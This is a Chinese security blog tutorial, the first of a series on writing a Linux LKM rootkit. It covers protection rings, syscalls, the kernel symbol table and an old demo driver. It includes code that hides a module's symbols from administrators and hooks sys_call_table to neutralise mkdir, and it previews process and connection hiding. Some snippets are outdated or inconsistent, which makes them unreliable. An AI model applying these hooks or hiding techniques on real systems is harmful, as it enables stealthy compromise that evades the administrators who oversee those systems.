在前面的文章中我们介绍了如何使用rootkit(那篇文章标题打错了,少了个t)以及简单介绍了什么是rootkit,为了让读者更深入的了解,于是我们开了本专题,来一起探索学习rootkit的原理以及如何手搓一个rootkit,之后会出一系列的文章围绕rootkit原理来写。
今天先介绍如何拦截系统调用,修改命令返回结果。
什么是rootkit
上一篇可能对于什么是rootkit解释的不够清楚,这里重新解释一下,不过还是建议读者配合上一篇一起食用
参考百度词条:简单地说,Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit通过加载特殊的驱动,修改系统内核,进而达到隐藏信息的目的。
看到这个解释,我们就要引出今天的主角LKM(Loadable Kernel Modules)了,顾名思义,是 Linux 内核用来扩展其功能的可加载内核模块,在大部分操作系统中都有类似的功能。
本专题会带你一步一步去了解rootkit,去从更深层次的角度去理解rootkit。
本文大纲
先声明一下,本篇对于小白比较难于理解,或者说看完较难去捋清知识点,所以我整理了一下本篇基本内容,读者们可以看完本篇按照下面总结重新捋一遍思路,建议,认真反复看几遍。
为什么会出现LKM这一门技术,它具有什么样的作用?
Linux和windows系统内核的设计具有比较强的灵活性。它可以被修改或者拓展,而LKM 是 Linux 内核用来扩展其功能的可加载内核模块。这些 LKM 的优点:可以动态加载;不用重新编译整个内核。由于这些功能,它们通常用于特定的设备驱动程序(或文件系统),例如声卡等。每个 LKM 都包含两个基本功能:
int init_module(void) /*用于所有初始化内容*/ { ... } void cleanup_module(void) /*用于清理关闭*/ { ... }
而加载模块通常是通过发出以下命令来进行管理
# insmod moudule.o
该命令强制操作系统执行以下操作
-
加载目标文件(moudule.o)
-
调用create_module系统调用,进行内存重定位
-
未解析的引用由内核符号通过系统调用get_kernel_syms解析
-
此后,init_module系统调用由于LKM初始化->执行int init_module(void)等
我们来写一个小demo来展示一下它的基本原理:
#define MODULE
#include <Linux/module.h>
int init_module(void)
{
printk("<1>Hello World\n");
return 0;
}
void cleanup_module(void)
{
printk("<1>Bye, Bye");
}
然后进行编译
gcc -c -O3 helloworld.c #编译
insmod helloworld.o #加载该内核模块
rmmod hellowrd #移除该内核模块
好了,现在你的代码就已经加载进内核代码了,这就是一个简单的LKM演示。
那么我们应该如何使用这个LKM,请记住,这个函数运行在内核态。这些运行在内核态的函数中我们需要学习和了解的是hook system functions,在linux操作系统中,我们称之为系统调用,也就是说内核函数被调用的过程就是系统调用。
ring权限
程序可以运行在那个模式的实际执行不是由操作系统提供,而是英特尔x86提供的一种访问控制的机制,它通过使用ring来实现。
ring0 ring1 ring2 ring3
其中ring 0的权限最高,ring3的权限最低。而用户态的权限为ring3,内核态的权限为ring0
这里开始我们去解释和实现一下如何修改系统函数返回结果
用户态到内核态的转换
正在运行的程序的每个代码段是由叫做段描述符的八字节数据结构定义的。段描述符包括代码段的元数据,其中有代码段的开始地址、长度和权限级别。权限级别是代码段运行所在的ring,即权限级别是0就是ring 0,权限级别是3就是ring 3。基于这种分配,代码段的权限级别很明显是定义在代码段的段描述符中的一个属性而不是处理器的属性。处理器依赖于段描述符提供的关于代码被允许运行的权限级别的信息。所以,如果代码段的段描述符显示它的权限级别是0,那么x86处理器将只允许它在ring 0中运行。
段描述符存储在加载到系统主存储器的两个表中。它们是全局描述符表(GDT)和本地描述符表(LDT)。整个操作系统中只有一个GDT,而且它是由操作系统在启动时创建的,它包括关于操作系统代码段和数据段的段描述符。GDT能被所有的任务共享,而LDT是被单个任务或者几个相关任务使用。和GDT不同,LDT不是强制性的。基址指针和每个描述符表的大小分别包含在全局描述符表寄存器(GDTR)和本地描述符表寄存器(LDTR)中。
可能不太直观,我们看一下x86的linux内核中对于GDT的宏定义
#define GDT_ENTRY(flags, base, limit)\
((((base) & _AC(0xff000000,ULL)) << (56-24)) |\
(((flags) & _AC(0x0000f0ff,ULL)) << 40) |\
(((limit) & _AC(0x000f0000,ULL)) << (48-16)) |\
(((base) & _AC(0x00ffffff,ULL)) << 16) |\
(((limit) & _AC(0x0000ffff,ULL))))
可能有人看不太懂,(flag,base,limit)代表三个传入参数,为什么要使用三个(,是因为宏编程在编译过程中,在预编译阶段就会被展开)而如果没有这么多括号,可能这段代码在被展开后就被运算符优先级所影响。base
INT 2E:
英特尔处理器有一个特征叫中断门。中断门是从用户态到内核态的通道。中断有中断服务程序(ISR)处理。运行在DOS 的模式下,指向ISR的指针包含在一个中断向量表(IVT)中。运行在Windows的保护模式下,IVT被称之为中断描述符表(IDT),它包含中断门描述符(IGDs)。IGD包括ISR的代码段位置和它在代码段中的基址。所以在实模式中IVT直接指向ISR,而在保护模式下,IDT使用一个IGD形式的中间人或门。限制用户态的代码直接调用内核态的函数时CPU的一个安全特性。通过检查包含ISR的代码段在IGD段选择符中的权限来实现这个特性。
每个操作系统的内核中,都内置了一些功能,这些功能用于该系统上的每个操作。而当操作系统调用。
中断是唯一一个用户态到内核态的通道
syscall:
INT 2E执行很慢,因为它带有中断处理的所有开销,处理器加载中断门和段描述符来决定调用哪个ISR,执行权限级别检查和进行几个存储器读取周期。需要这个操作是因为内核态代码位置的改变,并且事件序列决定它真正在哪儿。以windows为例,可能比较可以直观理解:
为了提高效率,更快的进入内核态,使用了SYSENTER/SYSCALL,而它的系统服务的地址是硬编码的,将没有存储或者装载来决定系统的指向,因此会更快的运行。因为内核态代码段是在相同的位置,这准确地描述了快速系统调用指令是怎么工作的。所以SYSENTER使用固定位置的段描述符来定义硬编码在处理器中的目标代码段。尽管目标代码段是硬编码的,但函数的地址不是硬编码的,类似于在INT 2E调用过程的ISR代码段,意思就是一个进入sys。这个函数是KiFastCallEntry,SYSENTER本质上是对KiFastCallEntry的一个调用。KiFastCallEntry使得用户态代码能够访问在系统服务调度表(SSDT)中的原始函数。为了确定KiFastCallEntry函数的地址,处理器使用特定模型寄存器(MSR)。MSR,顾名思义,是给系统软件提供管理各种硬件资源能力的特定处理器寄存器,比如启用和禁用某些处理器特性。它们通常用来调试和系统监视。
MSR名称 | 索引 | 用途 |
---|---|---|
SYSENTER_CS_MSR | 174h | 目标代码段 |
SYSENTER_ESP_MSR | 175h | 目标栈指针 |
SYSENTER_EIP_MSR | 176h | 目标指令指针 |
SYSENTER_EIP_MSR(176h)包括函数KiFastCallEntry的地址。但是在运行这个函数之前,用户态栈和调用参数必须加载进内核态栈,这和INT 2E的调用过程相似。内核态栈的地址是从SYSENTER_ESP_MSR(175h)得到。一旦所有都准备就绪,处理器就会在内核态运行请求的函数.
在运行成功以后,SYSEXIT被激活用来吧所有东西恢复到用户态.这和从INT 2E回复是同样的过程:代码的执行返回到用户态并且处理器把所有东西恢复回SYSENTER被用户态代码调用之前的样子.原来的寄存器被恢复,指向SYSENTER调用之后的指令
然后我们来看一看本机的syscall,它存储在/usr/include/sys/syscall.h,部分代码
//sys/sycall.h
#ifndef _SYSCALL_H
#define _SYSCALL_H1
/* This file should list the numbers of the system calls the system knows.
But instead of duplicating this we use the information available
from the kernel sources. */
#include <asm/unistd.h>
#ifndef _LIBC
/* The Linux kernel header file defines macros `__NR_<name>', but some
programs expect the traditional form `SYS_<name>'. So in building libc
we scan the kernel's list and produce <bits/syscall.h> with macros for
all the `SYS_' names. */
# include <bits/syscall.h>
#endif
#endif
进入该头文件
#ifndef _SYSCALL_H
# error "Never use <bits/syscall.h> directly; include <sys/syscall.h> instead."
#endif
#ifdef __NR_FAST_atomic_update
# define SYS_FAST_atomic_update __NR_FAST_atomic_update
#endif
#ifdef __NR_FAST_cmpxchg
# define SYS_FAST_cmpxchg __NR_FAST_cmpxchg
#endif
#ifdef __NR_FAST_cmpxchg64
# define SYS_FAST_cmpxchg64 __NR_FAST_cmpxchg64
#endif
#ifdef __NR__llseek
# define SYS__llseek __NR__llseek
#endif
#ifdef __NR__newselect
# define SYS__newselect __NR__newselect
#endif
#ifdef __NR__sysctl
# define SYS__sysctl __NR__sysctl
#endif
#ifdef __NR_accept
# define SYS_accept __NR_accept
#endif
#ifdef __NR_accept4
# define SYS_accept4 __NR_accept4
#endif
#ifdef __NR_access
# define SYS_access __NR_access
#endif
#ifdef __NR_acct
# define SYS_acct __NR_acct
#endif
基本确认硬编码,不过不太直观.
#ifndef _ASM_X86_UNISTD_64_H
#define _ASM_X86_UNISTD_64_H 1
#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
#define __NR_stat 4
#define __NR_fstat 5
#define __NR_lstat 6
#define __NR_poll 7
#define __NR_lseek 8
#define __NR_mmap 9
#define __NR_mprotect 10
#define __NR_munmap 11
#define __NR_brk 12
#define __NR_rt_sigaction 13
#define __NR_rt_sigprocmask 14
#define __NR_rt_sigreturn 15
#define __NR_ioctl 16
#define __NR_pread64 17
#define __NR_pwrite64 18
#define __NR_readv 19
#define __NR_writev 20
#define __NR_access 21
#define __NR_pipe 22
#define __NR_select 23
#define __NR_sched_yield 24
#define __NR_mremap 25
#define __NR_msync 26
#define __NR_mincore 27
#define __NR_madvise 28
#define __NR_shmget 29
#define __NR_shmat 30
#define __NR_shmctl 31
#define __NR_dup 32
#define __NR_dup2 33
这样,很明显的看出,系统调用被硬编码,原理和上文讲的windows类似,每个系统调用都有一个编号,我们叫它系统调用号
内核使用中断 0x80 来管理每个系统调用。而中断0x80是什么呢,就是类似于windows中的KiFastCallEntry函数,用来管理,那我们应该如何来进行使用呢?
系统调用号是名为sys_call_table[index]该数组的内核结构数组中的索引(index).该结构会将系统调用号映射到所需的服务函数.
那么我们来看一看这些系统调用
系统调用 | 描述 |
---|---|
int sys_brk(unsigned long new_brk); | 更改所用 DS(数据段)的大小 |
int sys_fork(struct pt_regs regs); | 用户空间中众所周知的 fork() 函数的系统调用 |
int sys_getuid(); int sys_setuid(); | 用于管理 UID 等的系统调用 |
int sys_get_kernel_sysms(struct kernel_sym *table) | 用于访问内核系统表的系统调用 |
int sys_sethostname(char *name,int len);int sys_gethostname(char *name,int len); | sys_sethostname 负责设置主机名,sys_gethostname 负责检索主机名 |
int sys_chdir(const char *path);int sys_fchdir(unsigned int fd); | 这两个函数都用于设置当前目录(cd ...) |
int sys_chmod(const char *filename,mode_t mode);int sys_chown(const char *filename,mode_t mode);int sys_fchmod(const char *filename,mode_t mode);int sys_fchown(const char *filename,mode_t mode); | 权限管理等功能 |
int sys_chroot(const char *filename); | 设置调用进程的根目录 |
int sys_execve(struct pt_regs regs); | 重要的系统调用 -> 它负责执行文件(pt_regs是寄存器堆栈) |
由于LInux代码量太大了,我这里只列举出一部分可能我们感兴趣的调用,如果有人想要查询更多的系统调用以及文档,自行查阅linux内核官方文档.
这种代码让人一看就感觉很有兴趣(是不是看到了自己在linux中常见的命令,瞬间代入?)
内核符号表
内核符号表:内核符号表是一个记录了内核中符号(symbols)的数据库,包括函数、变量、数据结构、常量等。这个符号表对于内核的调试、分析和性能优化非常重要,因为它提供了有关内核的关键信息,以便开发人员能够了解内核的结构、函数调用关系和数据存储情况。
执行以下命令
cat /proc/kallsyms
会看到类似于以下回显
ffffffffc00af160 t dm_get_stats[dm_mod]
ffffffffc00b04c0 t dm_next_uevent_seq[dm_mod]
ffffffffc00b2390 t dm_table_get_md_mempools[dm_mod]
ffffffffc00b0410 t dm_kobject_uevent[dm_mod]
ffffffffc00bcd90 t dm_old_init_request_queue[dm_mod]
ffffffffc00ac180 t dm_path_uevent[dm_mod]
ffffffffc00b7890 t dm_interface_exit[dm_mod]
ffffffffc00b0c20 t dm_get_dev_t[dm_mod]
ffffffffc00b8020 T dm_io[dm_mod]
ffffffffc00b12e0 T dm_get_device[dm_mod]
ffffffffc00b0940 t dm_table_set_type[dm_mod]
ffffffffc00bce80 t dm_mq_init_request_queue[dm_mod]
ffffffffc00bccf0 t dm_attr_rq_based_seq_io_merge_deadline_store[dm_mod]
ffffffffc00afcc0 t dm_set_mdptr[dm_mod]
ffffffffc00b2240 t dm_table_get_immutable_target_type[dm_mod]
ffffffffc00c3ac0 b dm_global_event_nr[dm_mod]
ffffffffc00b06f0 t dm_suspended_md[dm_mod]
ffffffffc00af2a0 t disable_discard[dm_mod]
ffffffffc00b33a0 t dm_table_postsuspend_targets[dm_mod]
ffffffffc00b3990 t dm_target_iterate[dm_mod]
ffffffffc00ac410 t dm_get_reserved_bio_based_ios[dm_mod]
ffffffffc00b2260 t dm_table_get_immutable_target[dm_mod]
ffffffffc00b12b0 T dm_consume_args[dm_mod]
ffffffffc00b78d0 t dm_copy_name_and_uuid[dm_mod]
ffffffffc00bcba0 t dm_request_based[dm_mod]
很明显,第一个字段的含义是内存地址,以十六进制表示,指示了符号在黑河内存中的位置。第二个字段的含义是类型:表示符号的类型,这是一个单个字符,用于指示符号的类型,‘t’为文本,‘d’为数据符号 第三个字段是符号名称 第四个字段是模块名称
即
Address Type Name [Module Name]
我们可以在这个文件中看到我们的LKM可以做什么,但是我门自己定义的LKM是可以被加载进这个文件夹的,这样管理员会发现我们的小LKM然后解决掉它
所以我们采用以下方法来限制我们的内核符号表进入这个文件
static struct symbol_table module_syms= { //我们定义一个自己的符号表
#include <linux/symtab_begin.h> //在这里它
...
};
register_symtab(&module_syms); //然后进行注册
然后我们不想导出东西到/proc/kallsyms,可以这样解决:
register_symtab(NULL);
内核态转用户态:
由于LKM在内核中进行编码,我们有很多优点(ring0权限),但是系统调用从用户空间获取参数,而LKM运行在内核中。那我们是如何从内核空间中获取用户参数的呢?
int sys_chdir (const char *path)
如果需要查看这个path,你可能觉得,我直接打印出来不就行了么。
printk("<1>%s\n", path);
但是我们现在在内核态,是不能这么轻易的访问到用户内存的。
在一些资料中显示,需要使用一些内核函数来使用用户内存:
#include <asm/segment.h>
get_user(pointer);
//然后我们给它一个指针:
char *strncpy_fromfs(char *dest, const char *src, int n)
{
char *tmp = src;
int compt = 0;
do {
dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != '\0') && (compt != n));
return dest;
}
含义很清楚,就是拷贝用户数据。
然后如果我们需要把我们的路径指针变得可用,需要经过以下核函数来处理:
char *kernel_space_path;
kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /*在核中申请内存*/
(void) strncpy_fromfs(test, path, 20); /*然后调用我们刚刚那个函数*/
printk("<1>%s\n", kernel_space_path); /*然后我们就可以使用我们的用户内存的数据了*/
kfree(test); /*释放内存,重要性不过多赘述*/
需要注意的一点是,编写内核函数是需要非常小心的,不然的话如果内核函数崩溃了,那有可能会直接导致你整个kernel直接崩溃掉。
以上方法仅适用于处理strings,对于普通数据可以用最简单的方法来做:
#include <asm/segment.h>
void memcpy_fromfs(void *to, const void *from, unsigned long count);
直接申请内存就好了,参数含义已经给的很明显了,那么我门应该如何把数据进行拷贝到*to呢?
/*we need brk systemcall*/
static inline _syscall1(int, brk, void *, end_data_segment);
...
int ret, tmp;
char *truc = OLDEXEC;
char *nouveau = NEWEXEC;
unsigned long mmm;
mmm = current->mm->brk;
ret = brk((void *) (mmm + 256));
if (ret < 0)
return ret;
memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
current是一个指向当前进程的任务结构的指针,mm是指向mm_struct的指针,然后通过在current->mm->brk上使用brk-systemcall,我们能够增加数据段未使用区域的大小,而数据段是通过数据段来完成的,所以通过增加未使用区域的大小可以为当前进程再分配一些内存,然后这些内存可以用于将内核空间内存复制到当前进程的用户空间。
是不是有点迷糊了?我给大家捋一捋,C++中申请内存使用的malloc()函数大家知道吧,在申请的内存比较小的情况下调用的是brk(),在申请的内存比较大的情况下是调用的mmap()函数,而我们自定义的这个函数就是一个属于我们自己的brk()。
在经过处理以后,我们就可以在内核空间中使用用户空间。而提供给我们的每个用户函数都由_syscall(...)宏表示。因此,我们可以给为某个用户函数构造精确的系统调用宏。
用户空间类函数的使用方式
举个例子(该段代码比较老旧,我在最新版的linux内核代码中没有找到被封装前的类似作用的代码):
#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
if (__res >= 0) \
return (type) __res; \
errno = -__res; \
return -1; \
}
它使用_syscall参数提供的参数调用中断0x80,而name代表我们需要的系统调用(名称扩展为NR_name),这也解释了我们刚刚看到的syscall代码的命名方式。_syscallx,其中x表示参数数量
还可以有另一种实现功能的方式:
int (*open)(char *, int, int); //函数指针的声明
open = sys_call_table[SYS_open]; //你也可以用__NR_open来声明,看起来更规范一点
这样就不需要使用任何系统调用宏,只需要使用sys_call_table中的函数指针就可以了,给这些系统调用提供参数时要小心,,因为他们需要被在用户控件中运行,所以需要先将他们传送到用户空间内存来使用。
执行这个操作一个很好的办法就是使用寄存器,Linux使用段选择器来区分内核空间、用户空间等。从用户空间发出的系统调用所使用的参数位于数据段选择器(DS)的某个位置。
DS可以通过使用asm/segment.h中的get_ds()来检索。因此,如果我们将内核态用于用户端的段选择器设置为所需的DS值,则系统调用用作参数的数据只能从内核空间访问。
linux中有很多get_ds()类似的代码,我们来举个例子:
unsigned long old_fs_value=get_fs();
set_fs(get_ds); //在调用这个函数之后,我们可以使用用户空间的数据
open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
set_fs(old_fs_value); //恢复回去
日常所需的内核空间函数列表
函数/宏 | 描述 |
---|---|
int sprintf (char *buf, const char *fmt, ...);int vsprintf (char *buf, const char *fmt, va_list args); | 打印 |
void *memset (void *s, char c, size_t count);void *memcpy (void *dest, const void *src, size_t count);char *bcopy (const char *src, char *dest, int count);void *memmove (void *dest, const void *src, size_t count);int memcmp (const void *cs, const void *ct, size_t count);void *memscan (void *addr, unsigned char c, size_t size); | 内存函数 |
int register_symtab (struct symbol_table *intab); | |
char *strcpy (char *dest, const char *src);char *strncpy (char *dest, const char *src, size_t count);char *strcat (char *dest, const char *src);char *strncat (char *dest, const char *src, size_t count);int strcmp (const char *cs, const char *ct);int strncmp (const char *cs,const char *ct, size_t count);char *strchr (const char *s, char c);size_t strlen (const char *s);size_t strnlen (const char *s, size_t count);size_t strspn (const char *s, const char *accept);char *strpbrk (const char *cs, const char *ct);char *strtok (char *s, const char *ct); | 字符串比较函数... |
unsigned long simple_strtoul (const char *cp, char **endp, unsigned int base); | 转换字符串为数字(类似于stoi()) |
get_user_byte (addr);put_user_byte (x, addr);get_user_word (addr);put_user_word (x, addr);get_user_long (addr);put_user_long (x, addr); | 获取用户内存 |
suser();fsuser(); | 检查超级用户权限 |
int register_chrdev (unsigned int major, const char *name, struct file_o perations *fops);int unregister_chrdev (unsigned int major, const char *name);int register_blkdev (unsigned int major, const char *name, struct file_o perations *fops);int unregister_blkdev (unsigned int major, const char *name); | 注册设备驱动 |
这些功能中有一些是根据上面提到过的方法实现。
内核守护进程
内核守护进程(Kernel Daemon)是运行在操作系统内核空间的后台进程,用于执行系统级任务和服务。这些守护进程通常在操作系统启动时自动启动,一直在后台运行,独立于用户级应用程序。它们负责执行各种操作系统管理和维护任务,以保持系统的正常运行。
创建一个自己的设备
看一个小demo
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
/*就是一个为了演示使用的虚拟驱动*/
static int driver_open(struct inode *i, struct file *f)
{
printk("<1>Open Function\n");
return 0;
}
/**/
static struct file_operations fops = {
NULL, /*lseek*/
NULL, /*read*/
NULL, /*write*/
NULL, /*readdir*/
NULL, /*select*/
NULL, /*ioctl*/
NULL, /*mmap*/
driver_open, /*打开,查看我的虚拟驱动*/
NULL, /*release*/
NULL /*fsync...*/
};
int init_module(void)
{
/*register driver with major 40 and the name driver*/
if(register_chrdev(40, "driver", &fops)) return -EIO;
return 0;
}
void cleanup_module(void)
{
/*unregister our driver*/
unregister_chrdev(40, "driver");
}
最重要的函数是register_chrdev,它使用主机号40来注册我们的驱动程序,如果想要访问此驱动程序,需要执行以下操作。
mknod /dev/driver c 40 0
insmod driver.o
大家可以在此基础上来构建属于自己的device,留好虚拟机镜像(做点实验就好了)。
利用:
如何拦截系统调用:
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
extern void* sys_call_table[]; /*我们使用extern 字段来使用sys_call_table[]*/
int (*orig_mkdir)(const char *path); /*原始系统调用*/
int hacked_mkdir(const char *path)
{
return 0; /*一切正常,但新的系统调用什么也没做*/
}
int init_module(void) /*初始化模块*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void) /*关闭模块*/
{
sys_call_table[SYS_mkdir]=orig_mkdir; /*还原sys_call_table表*/
}
编译运行它(见上文),然后运行
mkdir milu
最终发现,没有回显,因为返回为0。也就是说,用mkdir执行不了创建文件夹了,同理,我们可以用上面的操作去实现隐藏进程,隐藏TCP IP连接(预告,后面会带大家实践)
不难猜测,拦截调用的几个方法:
-
在sys_call_cable[]表中查询需要的系统调用条目
-
将旧的sys_call_bale[index] 的旧条目保存在函数指针中
-
通过将 sys_call_table[index]设置为所需要的函数地址来保存自己定义的系统调用地址。
到现在我们就已经制作了一个简单的恶意驱动来影响mkdir命令了。到这里不少师傅都已经有了一点自己的想法了,关于Windows系统和unix类系统的原理大致相同。但从学习的角度出发,LKM到这一步的学习,选择Window还是unix类操作系统的区别是不大的。
本期主要讲解了ring权限,它的机制,系统调用的过程和分析以及简单的驱动代码编写,下期我们会针对LKM的更深一步的利用进行讲解和代码分析。
最后的最后,再放一遍我的总结。
希望各位读者看完我们的文章以后自己去实践一下,只有学到脑子里的东西才是自己的,如果遇到困难,可以加本人微信(i_still_be_milu)与麋鹿师傅一起探讨,炼心之路,就在脚下,我们一起成长。
同时欢迎各位同仁关注麋鹿安全,我们的文章会第一时间发布在公众号平台,如果不想错过我们新鲜出炉的好文,那就请扫码关注我们的公众号!(附上本人微信,欢迎读者和同仁的不吝指正~~~)